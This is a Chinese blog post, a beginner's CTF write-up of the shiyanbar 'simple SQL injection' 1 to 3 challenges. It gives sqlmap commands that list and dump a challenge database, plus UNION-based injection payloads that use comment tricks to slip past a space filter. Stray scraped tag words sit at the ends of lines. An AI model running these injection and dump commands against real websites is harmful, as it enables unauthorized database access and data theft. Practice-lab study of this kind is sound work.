sql注入學習心得與sqlmap使用心得

作題是最好的老師php

首先先來分享一下我用來練手的題目,實驗吧中的簡單的sql注入1,2,3python

不得不說,sql注入真是一個神奇的東西,至少我之前看起來一點頭緒都沒有的題目能入手了web

首先是簡單的sql注入3(別問我爲何不是1)sql

打開連接以後發現數據庫

陷入沉思,這時候我決定使用sqlmap對他進行sql注入orm

在終端輸入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs,而後就開始等他跑,固然跑的過程有點長,就不貼圖了blog

最終結果獲得io

3個表,這可還行,而後咱們打開web1看看裏面有什麼列table

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1form

emmmmm,熟悉的字眼,是flag!

因而咱們再進入列看看

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --columns -T flag -D web1

flag已經出現了,這時候咱們只須要把它dump出來就行了

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dump -C flag -T flag -D web1

最終獲得答案 flag{Y0u_@r3_5O_dAmn_90Od}

固然,這樣可能比較麻煩,因此第二題我就換了一種方法

輸入1發現,那咱們再輸入1 and 1 = 1

報錯了,emmmmm。因而看了一下別人的wp,原來報SQLi detected!,說明有防禦;name: baloteli 說明過濾了「空格」

因此咱們先查看有哪些數據庫
1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

 

 好傢伙,又是web1,那咱們再看看有什麼表

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/'1'='1

找到了這個,那咱們再看看裏面有什麼東西

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/'1'='1

最後輸入1'/**/union/**/select/**/flag/**/from/**/web1.flag/**/where/**/'1'='1

答案就出來了flag{Y0u_@r3_5O_dAmn_90Od}

最後咱們來講一下簡單的sql注入1

固然個人作法和2同樣,只不過看列的時候出現了一點問題

因而我直接就進行了最後一步,但願能獲得答案,固然最後仍是運氣好獲得答案了

flag{Y0u_@r3_5O_dAmn_90Od}

但願有dalao能解答一下我最後遇到的問題,歡迎評論

相關文章
相關標籤/搜索